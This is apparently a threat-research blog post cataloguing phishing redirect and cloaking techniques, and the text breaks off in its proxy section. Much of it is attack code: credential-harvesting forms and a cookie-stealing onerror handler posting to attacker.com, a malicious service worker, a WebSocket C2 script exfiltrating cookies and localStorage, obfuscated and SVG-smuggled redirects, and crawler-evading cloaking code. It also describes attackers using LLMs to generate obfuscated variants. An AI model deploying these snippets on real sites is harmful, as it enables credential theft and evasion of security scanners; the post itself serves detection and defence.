Anatomy of a Scam Redirect Chain: Every Trick in the Playbook

Entropius Research

Entropius Research

2/22/2026

#redirect-chains#phishing#navigation-tracking#html-smuggling#threat-detection
Anatomy of a Scam Redirect Chain: Every Trick in the Playbook

Introduction

In our previous post on scammers and the HTTP protocol, we covered how attackers weaponize HTTP-level signals — geolocation, headers, timestamps, and dynamic rendering — to cloak malicious pages from security scanners. That post focused on the decision-making layer: how the server decides what to show each visitor.

This post goes deeper. We're going to dissect every navigation-level technique scammers use to move a victim from an initial click to a final phishing page. Not just HTTP redirects — the full spectrum. JavaScript location manipulation, history API spoofing, blob URL smuggling, iframe injections, service worker cache poisoning, postMessage cross-origin attacks, and more.

Each technique gets a code sample showing exactly how it works. Because if you're going to defend against these, you need to understand them at the implementation level.

The numbers back the urgency. The CrawlPhish study (IEEE S&P 2021) found 31% of phishing sites use some form of cloaking. SlashNext reported a 703% increase in credential phishing in H2 2024. And Cofense documented a 627% increase in open redirect abuse in Q3 2024 alone. The redirect chain is the backbone of modern phishing infrastructure, and it's getting more sophisticated every quarter.

HTTP 3xx Redirect Chains

The most straightforward technique, and still the most common. The attacker stacks multiple HTTP redirects, each hosted on a different domain or provider. Every hop is a decision gate that can inspect the visitor and bail out to a clean page if it detects a security scanner.

The first hop checks the visitor and forwards them to an AMP cache URL:

GET /click?id=abc123 HTTP/1.1
Host: hop1.tracker-cdn.com

HTTP/1.1 302 Found
Location: https://hop2.amp-cache.example/s/hop3.legit-looking.com/promo

The AMP cache hop provides trust signals from the google.com domain, then forwards with a method-preserving 307:

GET /s/hop3.legit-looking.com/promo HTTP/1.1
Host: hop2.amp-cache.example

HTTP/1.1 307 Temporary Redirect
Location: https://hop3.legit-looking.com/promo

The final hop delivers the victim to the phishing page:

GET /promo HTTP/1.1
Host: hop3.legit-looking.com

HTTP/1.1 302 Found
Location: https://final-phish.com/login

Each hop uses a different status code for a reason. 301 and 302 are the workhorses. 307 and 308 preserve the HTTP method (important for POST-based credential harvesting). Mixing status codes across hops makes automated chain analysis harder because each hop has subtly different caching and method-forwarding behavior.

Google AMP abuse has become a particularly effective variant. Cofense reported a 1,092% increase in phishing campaigns abusing Google AMP URLs as redirect hops, because the google.com domain in the AMP cache URL provides trust signals that bypass many URL filters.

Palo Alto Unit 42 documented campaigns delivering approximately 2,000 malicious URLs per day using HTTP Refresh headers — a less common variant that many security tools don't inspect at all.

HTTP Refresh Header

Most developers know about the Location header for redirects. Fewer know about the Refresh header, which achieves the same result through a completely different mechanism — one that many security scanners ignore entirely.

HTTP/1.1 200 OK
Content-Type: text/html
Refresh: 0; url=https://phishing-page.com/harvest
<html>
<body>
<p>Please wait while we verify your session...</p>
</body>
</html>

The key difference: this returns a 200 OK status code, not a 3xx redirect. Security tools that only follow 3xx chains will see a benign 200 response with some harmless text. But the browser follows the Refresh header and navigates to the phishing page.

The 0 value means "redirect immediately." Attackers sometimes use a small delay (Refresh: 3; url=...) combined with a convincing "loading" message to make the transition feel natural. Unit 42 identified active campaigns using this technique to target Korean corporations and US government entities.

Meta Refresh Redirects

The HTML-level equivalent of the Refresh header. An attacker embeds a <meta> tag that tells the browser to navigate after a specified delay.

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="refresh"
        content="0; url=https://intermediate.example/gate">
  <title>Redirecting...</title>
</head>
<body>
  <p>If you are not redirected,
     <a href="https://intermediate.example/gate">click here</a>.</p>
</body>
</html>

Scammers frequently chain meta refreshes for double-hop cloaking: the first hop goes to an intermediate page that performs its own checks (User-Agent, IP geolocation, JavaScript fingerprinting), then the intermediate page uses another meta refresh to reach the final phishing destination.

The delay parameter is weaponized. A meta refresh with content="5; url=..." gives the page five seconds to run JavaScript fingerprinting before navigating. Security scanners that capture a snapshot immediately see a clean page. The real victim waits five seconds while the page silently profiles their browser, then gets redirected to the phishing content.

JavaScript Location Redirects

JavaScript provides three direct methods to change the browser's URL, each with different implications for the navigation history and Back button behavior.

location.href

Adds an entry to the browser history. The victim can press Back to return.

window.location.href = "https://phishing-page.com/login";

location.replace()

Replaces the current history entry. The victim cannot press Back to this page — it's erased from history.

window.location.replace("https://phishing-page.com/login");

location.assign()

Behaves like href but as an explicit method call. Back button works normally.

window.location.assign("https://phishing-page.com/login");

location.replace() is the attacker's favorite because it removes the redirect page from history. The victim cannot press Back to see what happened. This is critical for phishing campaigns — if the victim gets suspicious and hits Back, they don't return to the redirect page (which might reveal the attack), they return to whatever was before it.

Obfuscation in the Wild

In real campaigns, these calls are never in plain text. Here's a base64-encoded redirect:

eval(atob(
  "d2luZG93LmxvY2F0aW9uLmhyZWYgPSAiaHR0cHM6Ly9waGlzaC5jb20vbG9naW4i"
));

An XOR-encrypted URL that's decoded at runtime:

var key = 42;
var encoded = [90,88,88,74,91,26,21,21,74,72,73,91,72,73,73,76,71,30,27,25,31];
var url = encoded.map(function(c) {
  return String.fromCharCode(c ^ key);
}).join('');
window.location.href = url;

And string concatenation to defeat static analysis:

var a = "ht", b = "tps://", c = "phish", d = ".com/", e = "login";
window["lo" + "cation"]["hr" + "ef"] = a + b + c + d + e;

Cofense's Q3 2024 report documented a 627% increase in phishing campaigns abusing open redirects, many using obfuscated JavaScript location calls as intermediate hops in multi-stage chains.

history.pushState and replaceState URL Spoofing

This is one of the most dangerous techniques because it changes the URL displayed in the browser's address bar without triggering any page navigation. The page content stays exactly the same, but the URL the victim sees is completely different.

// The page content remains unchanged
// Only the address bar updates
history.pushState({}, "",
  "https://legitimate-bank.com/account/dashboard"
);

Or replace the current history entry entirely so Back doesn't reveal the real URL:

history.replaceState({}, "", "/secure/login");

Browser-in-the-Browser (BitB) Attack

This powers the BitB attack, where the attacker creates a fake browser window chrome using CSS and HTML. First, the fake window overlay with a spoofed address bar:

<div style="position: fixed; top: 0; left: 0;
            width: 100%; height: 100%;
            background: white; z-index: 99999;">

  <!-- Fake address bar showing "legitimate" URL -->
  <div style="background: #f1f3f4; padding: 8px 12px;
              display: flex; align-items: center;
              border-bottom: 1px solid #ddd;">
    <span style="color: green;">&#128274;</span>
    <span style="margin-left: 8px; font-family: sans-serif;
                 font-size: 14px; color: #333;">
      https://accounts.google.com/signin/v2/identifier
    </span>
  </div>

  <!-- Actual phishing form in an iframe -->
  <iframe src="https://attacker-controlled.com/fake-google-login"
          style="width: 100%; height: calc(100% - 40px);
                 border: none;">
  </iframe>
</div>

Then pushState makes the real address bar match:

history.pushState({}, "", "/accounts/signin");

The victim sees what appears to be a Google login page with a legitimate-looking URL in both the real address bar and the fake one. The credentials go straight to the attacker.

ESET documented the Sneaky 2FA phishing kit using BitB techniques in November 2025. The Ghostwriter APT group (attributed to Belarus) has used pushState-based URL spoofing in targeted campaigns against Eastern European government officials.

Repeated pushState calls can also be used to hijack the Back button — the attacker pushes dozens of fake history entries so that pressing Back repeatedly never actually leaves the phishing page.

Blob URL and HTML Smuggling

HTML smuggling constructs a malicious page entirely in the victim's browser using a Blob URL, bypassing all network-level inspection. The phishing HTML never travels over the wire as a document — it's assembled from JavaScript.

First, the encoded phishing payload is defined as a string. This is typically obfuscated further in real campaigns:

var encodedHtml =
  "PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD48dGl0bGU" +
  "+QW1leCBMb2dpbjwvdGl0bGU+PC9oZWFkPgo8Ym9keT4KIC" +
  "A8Zm9ybSBhY3Rpb249Imh0dHBzOi8vYXR0YWNrZXIuY29tL" +
  "2hhcnZlc3QiIG1ldGhvZD0iUE9TVCI+...";

Then it's decoded and turned into an in-memory Blob object:

var html = atob(encodedHtml);
var blob = new Blob([html], { type: "text/html" });

A blob URL is generated and the browser navigates to it. The resulting URL looks like blob:https://legitimate.com/a1b2c3d4:

var blobUrl = URL.createObjectURL(blob);
window.location.href = blobUrl;

Network proxies, email gateways, and URL scanners see only the initial page load containing the JavaScript — which itself can be obfuscated or loaded from a legitimate CDN. The actual phishing content exists only in browser memory.

Trustwave documented a surge in HTML smuggling attacks peaking in February 2024, with campaigns impersonating American Express, DocuSign, and Microsoft 365. LevelBlue (formerly AT&T Cybersecurity) observed parallel campaigns using the same technique.

Barracuda predicted that by 2025, 50% of credential theft would be delivered through Phishing-as-a-Service platforms, many of which use blob URL smuggling as their default delivery mechanism.

Data URI Phishing

Similar in spirit to blob URLs, data URIs embed the entire phishing page directly in the URL itself. The attacker constructs a complete HTML page as a string:

var phishingHtml = '<html>' +
  '<head><title>Security Verification</title></head>' +
  '<body>' +
  '  <h2>Verify Your Identity</h2>' +
  '  <form action="https://attacker.com/collect" method="POST">' +
  '    <input type="email" name="email" placeholder="Email">' +
  '    <input type="password" name="password" placeholder="Password">' +
  '    <button type="submit">Continue</button>' +
  '  </form>' +
  '</body></html>';

Then base64-encodes it and navigates to the resulting data URI:

window.location.href = "data:text/html;base64," + btoa(phishingHtml);

The browser's address bar displays data:text/html;base64,... followed by a long encoded string. On mobile devices with limited address bar space, the victim may not notice anything unusual. Netcraft has documented active campaigns using data URI phishing, sometimes referred to as "dataurization."

Iframe-Based Redirects and Clickjacking

Iframes give attackers two powerful capabilities: they can load phishing content within a legitimate-looking page, and they can use clickjacking to trick users into interacting with hidden elements.

Invisible Iframe Overlay

A transparent iframe is positioned exactly over a legitimate-looking button. The victim thinks they're clicking "Download" but they're actually interacting with the attacker's hidden page:

<div style="position: relative;">
  <button style="font-size: 24px; padding: 20px 40px;">
    Download Your Invoice
  </button>

  <iframe src="https://attacker.com/authorize-payment"
          style="position: absolute; top: 0; left: 0;
                 width: 100%; height: 100%;
                 opacity: 0.01; z-index: 10;">
  </iframe>
</div>

Frame Busting (Iframe Redirects Parent)

The opposite direction — an injected iframe redirects the parent page. An attacker who can insert a hidden iframe into a legitimate site (via XSS, ad injection, or compromised third-party scripts) can redirect the entire page:

<iframe srcdoc="
  <script>
    if (window.top !== window.self) {
      window.top.location.href =
        'https://phishing-site.com/login';
    }
  </script>
" style="display: none;"></iframe>

Sucuri documented campaigns in 2024 that injected invisible iframes into e-commerce checkout pages, redirecting victims to credential harvesting forms during the payment process.

Form Auto-Submit Harvesting

Auto-submitting forms silently POST credentials or tokens without any user interaction. The victim lands on the page and is immediately redirected through a form submission — carrying data with them.

Method 1: onload Auto-Submit

The simplest approach. The form submits as soon as the page finishes loading:

<body onload="document.forms[0].submit()">
  <form action="https://attacker.com/harvest" method="POST">
    <input type="hidden" name="token"
           value="stolen-session-token">
    <input type="hidden" name="redirect"
           value="https://real-site.com/dashboard">
  </form>
</body>

Method 2: autofocus + onfocus

This variant bypasses some Content Security Policies that block inline onload handlers:

<form action="https://attacker.com/harvest"
      method="POST" id="f">
  <input type="hidden" name="data" value="exfiltrated-value">
  <input type="text" autofocus
         onfocus="document.getElementById('f').submit()">
</form>

Method 3: img onerror Fallback

The most insidious variant. A broken image triggers onerror, which steals the victim's cookies, injects them into hidden form fields, then auto-submits:

<form action="https://attacker.com/harvest"
      method="POST" id="f2">
  <input type="hidden" name="cookie" value="">
</form>

<img src="x" onerror="
  document.getElementById('f2').elements[0].value =
    document.cookie;
  document.getElementById('f2').submit();
">

SlashNext reported a 703% increase in credential phishing attacks in H2 2024, with auto-submitting forms as a key component in many Phishing-as-a-Service kits.

Reverse Tabnabbing

When a page opens a new tab (via <a target="_blank"> or window.open()), the new tab gets a reference to the opening page through window.opener. A malicious page in the new tab can use this to redirect the original tab while the user is looking at the new one.

The new tab silently redirects the opener to a phishing page:

if (window.opener) {
  window.opener.location.href =
    "https://phishing-site.com/session-expired";
}

Meanwhile, the new tab shows benign content to keep the user engaged:

document.body.innerHTML =
  "<h1>Article: 10 Tips for Online Security</h1>" +
  "<p>Tip 1: Always verify the URL in your address bar...</p>";

When the user switches back to their original tab, they see a "Your session has expired, please log in again" message — on what appears to be the same site they were previously on. They enter their credentials into the phishing form without suspecting anything, because they "never left" the original site.

Modern browsers have mitigated this partially by making rel="noopener" the default for new windows, but explicit window.open() calls and older browsers remain vulnerable. OWASP continues to list reverse tabnabbing as a relevant web security risk.

document.write() Content Replacement

document.open() followed by document.write() completely replaces the page content while keeping the same URL in the address bar. The victim sees different content than what was originally loaded, but the URL hasn't changed.

The URL stays as https://legitimate-site.com/dashboard but the entire DOM is replaced:

document.open();
document.write('<html>' +
  '<head><title>Session Expired</title></head>' +
  '<body>' +
  '  <h2>Your session has expired</h2>' +
  '  <p>Please sign in again to continue.</p>' +
  '  <form action="https://attacker.com/steal" method="POST">' +
  '    <input type="email" name="email" placeholder="Email">' +
  '    <input type="password" name="pass" placeholder="Password">' +
  '    <button type="submit">Sign In</button>' +
  '  </form>' +
  '</body></html>'
);
document.close();

This is particularly effective when combined with XSS on a trusted domain. The address bar shows the legitimate domain, the SSL padlock is green, but the entire page has been replaced with attacker-controlled content. This technique was documented in CVE-2017-5089 (Chrome) and CVE-2017-7763 (Firefox) as address bar spoofing vulnerabilities.

Service Worker Cache Poisoning

Service workers run in the background and intercept all network requests for their registered scope. A malicious service worker can persistently replace legitimate content with phishing pages — and it survives page refreshes, browser restarts, and even cache clears in some scenarios.

First, the attacker registers the service worker (often through an XSS vulnerability on the target domain):

if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register(
    '/sw-malicious.js',
    { scope: '/' }
  );
}

The service worker itself intercepts fetch requests and returns phishing content for login pages while passing all other requests through normally:

// sw-malicious.js
self.addEventListener('fetch', function(event) {
  var url = new URL(event.request.url);

  if (url.pathname === '/login' ||
      url.pathname === '/signin') {
    event.respondWith(
      new Response(
        '<html><body>' +
        '<h1>Sign In</h1>' +
        '<form action="https://attacker.com/collect"' +
        '      method="POST">' +
        '  <input name="user" placeholder="Email">' +
        '  <input name="pass" type="password">' +
        '  <button>Sign In</button>' +
        '</form></body></html>',
        { headers: { 'Content-Type': 'text/html' } }
      )
    );
    return;
  }

  event.respondWith(fetch(event.request));
});

The terrifying aspect of service worker attacks is persistence. Once registered, the service worker continues intercepting requests until explicitly unregistered. If an attacker can register a service worker through XSS on a legitimate domain, every subsequent visit to the login page serves the phishing form — even after the XSS vulnerability is patched.

OWASP and ZeePalm published comprehensive guidance on service worker security risks in 2024, noting that service workers represent one of the few browser-native mechanisms for persistent compromise without malware installation.

postMessage Cross-Origin Navigation

The window.postMessage() API enables cross-origin communication between frames. Attackers exploit this to send navigation commands from one origin to another.

Consider a vulnerable application with a message listener that doesn't check the sender's origin:

// Vulnerable code on the target application
window.addEventListener('message', function(event) {
  // Bug: no origin validation!
  if (event.data.action === 'navigate') {
    window.location.href = event.data.url;
  }
});

The attacker embeds the vulnerable app in an iframe and sends a navigation command:

// Attacker's page
var targetFrame =
  document.getElementById('target').contentWindow;

targetFrame.postMessage(
  {
    action: 'navigate',
    url: 'https://phishing-site.com/fake-login'
  },
  '*' // Wildcard: message accepted by any listener
);

The vulnerability is in the message listener that doesn't validate the origin of incoming messages. This class of bug is so common that Microsoft published "PostMessaged and Compromised" in August 2025, a comprehensive guide to postMessage vulnerabilities.

CVE-2024-49038, a critical vulnerability in Microsoft Copilot Studio (CVSS 9.3), was a postMessage-based cross-origin attack that could redirect authenticated users to attacker-controlled pages.

WebSocket and Server-Sent Events C2-Triggered Redirects

WebSockets and Server-Sent Events (SSE) maintain persistent connections between the browser and a command-and-control server. The attacker uses this channel to send real-time redirect commands, enabling them to control navigation timing with precision.

WebSocket C2 Channel

The WebSocket connection acts as a bidirectional command channel. The server can push redirect, inject, or exfiltrate commands at any time:

var ws = new WebSocket(
  "wss://c2-server.attacker.com/control"
);

ws.onmessage = function(event) {
  var cmd = JSON.parse(event.data);

  if (cmd.action === "redirect") {
    window.location.href = cmd.url;
  }

  if (cmd.action === "inject") {
    document.body.innerHTML = cmd.html;
  }

  if (cmd.action === "exfiltrate") {
    ws.send(JSON.stringify({
      cookies: document.cookie,
      localStorage: JSON.stringify(localStorage),
      url: window.location.href
    }));
  }
};

Server-Sent Events Variant

SSE provides a simpler one-way channel. The server pushes a redirect URL when conditions are met:

var sse = new EventSource(
  "https://c2-server.attacker.com/stream"
);

sse.addEventListener("redirect", function(event) {
  window.location.replace(event.data);
});

The C2 connection allows the attacker to make real-time decisions. They can monitor the victim's session, wait for them to enter credentials into a legitimate form, then redirect to a phishing page at the exact right moment. The redirect appears to be a normal page transition because it happens in context.

Sekoia documented the Tycoon 2FA phishing kit using WebSocket connections for real-time credential exfiltration, where the WebSocket channel serves dual purposes: exfiltrating stolen credentials and sending navigation commands to guide the victim through a multi-step phishing flow.

window.open() Popup Chains

Programmatic popup windows create new browsing contexts that the attacker fully controls, while the original page remains open in the background.

var popup1 = window.open(
  "https://tracking.example/click?id=1",
  "_blank",
  "width=800,height=600,menubar=no,toolbar=no"
);

After a delay, the attacker redirects the popup to the next hop in the chain:

setTimeout(function() {
  if (popup1 && !popup1.closed) {
    popup1.location.href =
      "https://intermediate.example/gate";
  }
}, 2000);

Modern browsers block most unsolicited popups, but popups triggered by a user gesture (a click) are typically allowed. Attackers attach popup logic to legitimate-looking buttons or links, then chain through multiple popup windows. Each window can have different dimensions and chrome settings, and each exists as a separate navigation context that may not appear in the main browser tab bar.

SVG Smuggling

SVG files are treated as images by most email gateways and file-type filters. But SVG is XML, and XML supports embedded JavaScript in CDATA sections. Attackers exploit this to smuggle executable payloads inside what security tools classify as a harmless image attachment.

The SVG file contains a CDATA section with XOR-encrypted JavaScript that decodes at runtime:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     width="600" height="400">
  <rect width="100%" height="100%" fill="#f5f5f5"/>
  <text x="50%" y="50%" text-anchor="middle"
        font-size="18" fill="#333">
    Loading document preview...
  </text>
  <script type="text/javascript">
  //<![CDATA[
    var k = 0x4F;
    var enc = [57,38,47,56,58,42,32,75,39,58,
               36,34,47,56,58,42,75,11,75,72];
    var dec = '';
    for (var i = 0; i < enc.length; i++) {
      dec += String.fromCharCode(enc[i] ^ k);
    }
    // dec = "window.location = '"
    var payload = enc.concat([/* ... hundreds more bytes */]);
    eval(payload.map(function(c) {
      return String.fromCharCode(c ^ k);
    }).join(''));
  //]]>
  </script>
</svg>

The decoded payload typically constructs a full redirect URL with victim-tracking parameters appended as encoded strings:

// After XOR decryption, the payload resolves to:
var victimId = btoa(navigator.userAgent + '|' +
  screen.width + 'x' + screen.height + '|' +
  Intl.DateTimeFormat().resolvedOptions().timeZone);

window.location = 'https://phish-gate.example/entry' +
  '?v=' + encodeURIComponent(victimId) +
  '&t=' + Date.now();

This technique maps to MITRE ATT&CK T1027.017 (Obfuscated Files or Information: Dynamic API Resolution). The multi-layer obfuscation — base64 encoding of the SVG itself in email attachments, plus XOR encryption of the JavaScript within — means that static analysis tools need to parse XML, extract CDATA, identify the encryption scheme, and decrypt the payload before they can detect the malicious URL. Most email gateways stop at "it's an SVG image" and pass it through.

Kaspersky documented a sharp increase in SVG-based phishing in early 2025, with campaigns impersonating Google Voice notifications and e-signature platforms. The SVG files rendered as legitimate-looking document previews while silently executing redirect logic.

WebAssembly (WASM) Redirect Obfuscation

WebAssembly compiled bytecode is opaque to static analysis tools. Attackers compile redirect logic into WASM modules where URL construction happens entirely within WASM linear memory, invisible to JavaScript-level inspection.

The JavaScript loader instantiates the WASM module and calls its exported redirect function:

// loader.js — the only visible JavaScript
var importObj = {
  env: {
    js_redirect: function(ptr, len) {
      var bytes = new Uint8Array(
        wasmInstance.exports.memory.buffer, ptr, len
      );
      var url = new TextDecoder().decode(bytes);
      window.location.href = url;
    },
    js_get_timestamp: function() {
      return Date.now();
    }
  }
};

fetch('/module.wasm')
  .then(function(r) { return r.arrayBuffer(); })
  .then(function(bytes) {
    return WebAssembly.instantiate(bytes, importObj);
  })
  .then(function(result) {
    wasmInstance = result.instance;
    // All redirect logic executes inside WASM
    result.instance.exports.check_and_redirect();
  });

Inside the WASM module (shown here as WAT text format for clarity), the URL is constructed byte-by-byte in linear memory:

;; Simplified WAT — actual modules are compiled binary
(module
  (import "env" "js_redirect" (func $redirect (param i32 i32)))
  (import "env" "js_get_timestamp" (func $timestamp (result i32)))
  (memory (export "memory") 1)

  (func (export "check_and_redirect")
    ;; Store URL bytes in memory starting at offset 0
    ;; "https://phish.example/gate"
    (i32.store8 (i32.const 0) (i32.const 104))  ;; 'h'
    (i32.store8 (i32.const 1) (i32.const 116))  ;; 't'
    (i32.store8 (i32.const 2) (i32.const 116))  ;; 't'
    (i32.store8 (i32.const 3) (i32.const 112))  ;; 'p'
    (i32.store8 (i32.const 4) (i32.const 115))  ;; 's'
    ;; ... remaining URL bytes ...

    ;; Call JS bridge to perform redirect
    ;; ptr=0, len=URL length
    (call $redirect (i32.const 0) (i32.const 26))
  )
)

The critical limitation — and detection opportunity — is that WASM cannot access browser APIs directly. Every WASM module must call back to JavaScript to perform location.href, document.write, or any DOM manipulation. The JS glue code that bridges WASM to browser navigation is always present and detectable.

Research on wasm-mutate (binary diversification) demonstrated that automated WASM mutation can generate variants that evade 90–100% of existing malware detectors while preserving identical functionality. Each compilation produces a structurally different binary, making signature-based detection ineffective.

Attackers also use WASM for timing-based fingerprinting: micro-benchmarking operations inside WASM execute with nanosecond precision, revealing hardware characteristics that distinguish real browsers from headless automation tools.

LLM-Generated Obfuscation

Large language models have become an obfuscation-as-a-service tool. Attackers prompt LLMs to iteratively transform malicious JavaScript until it evades detection engines, without altering the code's runtime behavior.

The transformation process generates functionally identical but syntactically unique variants:

// Original malicious redirect
window.location.href = "https://phish.example/steal";

// LLM Variant 1: Property accessor with computed key
var _0x = ['lo','ca','ti','on'];
window[_0x.join('')]['href'] =
  atob('aHR0cHM6Ly9waGlzaC5leGFtcGxlL3N0ZWFs');

// LLM Variant 2: Proxy-based indirection
var handler = { get: function(t, p) { return t[p]; } };
var proxy = new Proxy(window, handler);
proxy.location.assign(
  String.fromCharCode(104,116,116,112,115,58,47,47,
    112,104,105,115,104,46,101,120,97,109,112,108,
    101,47,115,116,101,97,108)
);

// LLM Variant 3: setTimeout with Function constructor
var fn = new Function(
  'w', 'u',
  'w.location.replace(u)'
);
setTimeout(fn.bind(null, window,
  ['https://','phish.','example','/steal'].join('')
), 0);

Each variant is syntactically unique but semantically identical — it redirects to the same URL using the same browser API, but through a different code path. The LLM can generate thousands of these variants in minutes, each one potentially bypassing a different set of detection signatures.

Palo Alto Unit 42 published research in 2025 documenting attackers using LLMs to generate obfuscated JavaScript, HTML, and phishing lures at scale. Their analysis found that LLM-generated obfuscation defeated traditional signature-based detection in the majority of test cases, requiring behavioral analysis (actually executing the code and observing its effects) to identify the malicious intent.

The defense implication is clear: static pattern matching is no longer sufficient. Detection must observe what the code does, not what it looks like.

Cloudflare Turnstile and CAPTCHA Gating

Phishing pages deployed behind Cloudflare Turnstile challenges create an effective barrier against automated scanning. Security crawlers that cannot solve the challenge never reach the phishing content, while real victims pass through seamlessly.

Turnstile operates in three modes, each presenting a different challenge level:

<!-- Non-interactive (invisible) mode -->
<!-- Challenge solved automatically via browser fingerprinting -->
<div class="cf-turnstile"
     data-sitekey="0x4AAAAAAAB..."
     data-callback="onTurnstileSuccess"
     data-appearance="interaction-only">
</div>

<script>
function onTurnstileSuccess(token) {
  // Token proves the visitor is human
  // Now reveal the phishing form
  document.getElementById('login-form').style.display = 'block';

  // Or redirect to the actual phishing page
  window.location.href =
    'https://phish.example/gate?cf_token=' + token;
}
</script>

Behind the scenes, Turnstile performs a comprehensive fingerprinting battery before issuing a token:

// What Turnstile evaluates (simplified representation):
var signals = {
  // TLS fingerprint (JA3/JA4 hash)
  tls: 'ja4_hash_of_client_hello',

  // Canvas fingerprint
  canvas: (function() {
    var c = document.createElement('canvas');
    var ctx = c.getContext('2d');
    ctx.fillText('Turnstile', 10, 10);
    return c.toDataURL();
  })(),

  // WebGL renderer string
  webgl: (function() {
    var gl = document.createElement('canvas')
      .getContext('webgl');
    var ext = gl.getExtension(
      'WEBGL_debug_renderer_info');
    return gl.getParameter(
      ext.UNMASKED_RENDERER_WEBGL);
  })(),

  // Audio context fingerprint
  audio: 'hash_of_oscillator_output',

  // Behavioral signals
  mouseMovements: [],   // Natural vs synthetic
  clickPatterns: [],     // Timing and coordinates
  scrollBehavior: [],    // Human scroll patterns
  keypressTimings: [],   // Typing cadence

  // IP reputation and ASN classification
  ipReputation: 'datacenter|residential|mobile'
};

The GhostFrame phishing kit, documented in September 2025, combines Turnstile gating with blob image streaming — the phishing form is rendered as a series of image blobs rather than DOM elements, making it invisible to HTML-based content inspection even after the challenge is solved. The victim sees and interacts with what looks like a normal login form, but the form fields are actually canvas-rendered images with invisible input overlays.

The challenge for defenders: Turnstile is a legitimate anti-bot service used by millions of websites. Blocking all Turnstile-protected pages would cause massive false positives. Detection must focus on what's behind the challenge, not the challenge itself.

User-Agent and IP-Based Cloaking

Cloaking — showing different content to security scanners versus real victims — is the most prevalent evasion technique in phishing infrastructure. A study of 2,933 phishing kits found that 96.52% contain some form of cloaking, with User-Agent-based cloaking in 82% and IP-based cloaking in 69% of cases.

User-Agent Cloaking

The server checks the visitor's User-Agent string against a blocklist of known crawlers and security tools:

# Server-side cloaking logic (Python/Flask example)
import re

BOT_PATTERNS = re.compile(
    r'(googlebot|baiduspider|bingbot|slurp|duckduckbot|'
    r'yandexbot|sogou|facebot|ia_archiver|'
    r'crawl|spider|bot|scan|check|verify|'
    r'lighthouse|pagespeed|headless|phantom|selenium|'
    r'python-requests|curl|wget|httpx|scrapy)',
    re.IGNORECASE
)

@app.before_request
def cloak():
    ua = request.headers.get('User-Agent', '')
    if BOT_PATTERNS.search(ua):
        # Show benign content to scanners
        return render_template('404.html'), 404
    # Show phishing page to real victims
    return None

IP-Based Cloaking

More sophisticated kits maintain IP blocklists of known security vendors, cloud providers, and research institutions:

import ipaddress

BLOCKED_RANGES = [
    # Major cloud providers (security scanners)
    ipaddress.ip_network('34.0.0.0/9'),     # Google Cloud
    ipaddress.ip_network('52.0.0.0/11'),    # AWS
    ipaddress.ip_network('13.64.0.0/11'),   # Azure
    # Security vendors
    ipaddress.ip_network('204.79.197.0/24'),# Microsoft Defender
    ipaddress.ip_network('208.80.152.0/22'),# Wikimedia/research
    # Tor exit nodes (updated daily)
    # VPN provider ranges
]

ALLOWED_COUNTRIES = ['US', 'GB', 'CA', 'AU']

@app.before_request
def ip_cloak():
    visitor_ip = ipaddress.ip_address(
        request.remote_addr)
    geo = geoip_lookup(visitor_ip)

    for blocked in BLOCKED_RANGES:
        if visitor_ip in blocked:
            return redirect('https://google.com')

    if geo.country_code not in ALLOWED_COUNTRIES:
        return redirect('https://google.com')

    return None

AI-Driven Cloaking

The most advanced cloaking systems use machine learning to continuously adapt. The Hoax Tech platform, operating under the brand name Matchex, uses AI to learn behavioral markers of security crawlers in real time. Rather than relying on static blocklists, it analyzes visitor behavior patterns — request timing, navigation sequences, JavaScript execution characteristics — and builds a continuously updated model of "scanner-like" behavior. When a new crawler variant appears, the system learns to detect it within hours.

The evolution from static blocklists to AI-driven cloaking means that simply rotating User-Agents and IP addresses is no longer sufficient for security scanners. Detection requires appearing indistinguishable from a real victim across dozens of behavioral dimensions.

WebRTC IP Leak Fingerprinting

WebRTC STUN server requests can reveal a visitor's real IP address even when they're behind a VPN, proxy, or corporate NAT. Phishing pages exploit this to fingerprint victims and detect security researchers who typically use VPNs during analysis.

The page silently initiates a WebRTC peer connection that leaks the local and public IP:

// WebRTC IP leak — runs without user interaction
function leakIP(callback) {
  var rtc = new RTCPeerConnection({
    iceServers: [
      { urls: 'stun:stun.l.google.com:19302' },
      { urls: 'stun:stun1.l.google.com:19302' }
    ]
  });

  rtc.createDataChannel('');

  rtc.onicecandidate = function(event) {
    if (!event || !event.candidate) return;

    // Extract IP from ICE candidate string
    var parts = event.candidate.candidate.split(' ');
    var ip = parts[4];
    var type = parts[7]; // 'host' or 'srflx'

    if (type === 'host') {
      // Local/private IP (behind NAT)
      callback('local', ip);
    } else if (type === 'srflx') {
      // Server-reflexive: real public IP
      // This bypasses VPN in many configurations
      callback('public', ip);
    }
  };

  rtc.createOffer().then(function(offer) {
    rtc.setLocalDescription(offer);
  });
}

// Usage in a phishing kit
leakIP(function(type, ip) {
  // Send to C2 for decision-making
  fetch('https://c2.example/check', {
    method: 'POST',
    body: JSON.stringify({
      type: type,
      ip: ip,
      reported_ip: '{{server_sees_this_ip}}',
      ua: navigator.userAgent,
      ts: Date.now()
    })
  }).then(function(r) { return r.json(); })
    .then(function(decision) {
      if (decision.action === 'block') {
        // VPN detected or IP is in security vendor range
        window.location = 'https://google.com';
      } else {
        // Proceed with phishing flow
        document.getElementById('phish-form')
          .style.display = 'block';
      }
    });
});

Attackers use the WebRTC leak for three purposes:

  1. Geolocation gating: The real IP reveals the victim's actual country, even behind a VPN. If the IP geolocates to a country the campaign doesn't target, the page redirects to a benign site.

  2. Victim fingerprinting: The combination of local IP (revealing the internal network structure) and public IP creates a durable fingerprint for session correlation across multiple phishing hops.

  3. VPN/proxy detection: If the WebRTC-leaked IP differs from the HTTP-visible IP, the visitor is using a VPN or proxy — a strong indicator of a security researcher or automated scanner. The page can immediately bail out to a clean page.

Modern browsers have partially mitigated this through mDNS candidate obfuscation and the deprecation of non-proxied UDP in some configurations, but the technique remains effective across a significant portion of the browser landscape.

Adversary-in-the-Middle (AiTM) Transparent Proxying

AiTM attacks are the most dangerous evolution of phishing because the victim interacts with the real legitimate website — through an attacker-controlled reverse proxy. The proxy captures credentials and session tokens in real time, defeating multi-factor authentication entirely.

The architecture is a transparent reverse proxy sitting between the victim and the legitimate service:

Victim Browser                 AiTM Proxy                  Legitimate Site
      |                            |                              |
      |  GET /login                |                              |
      |--------------------------->|  GET /login                  |
      |                            |----------------------------->|
      |                            |  200 OK (real login page)    |
      |  200 OK (login page)       |<-----------------------------|
      |<---------------------------|                              |
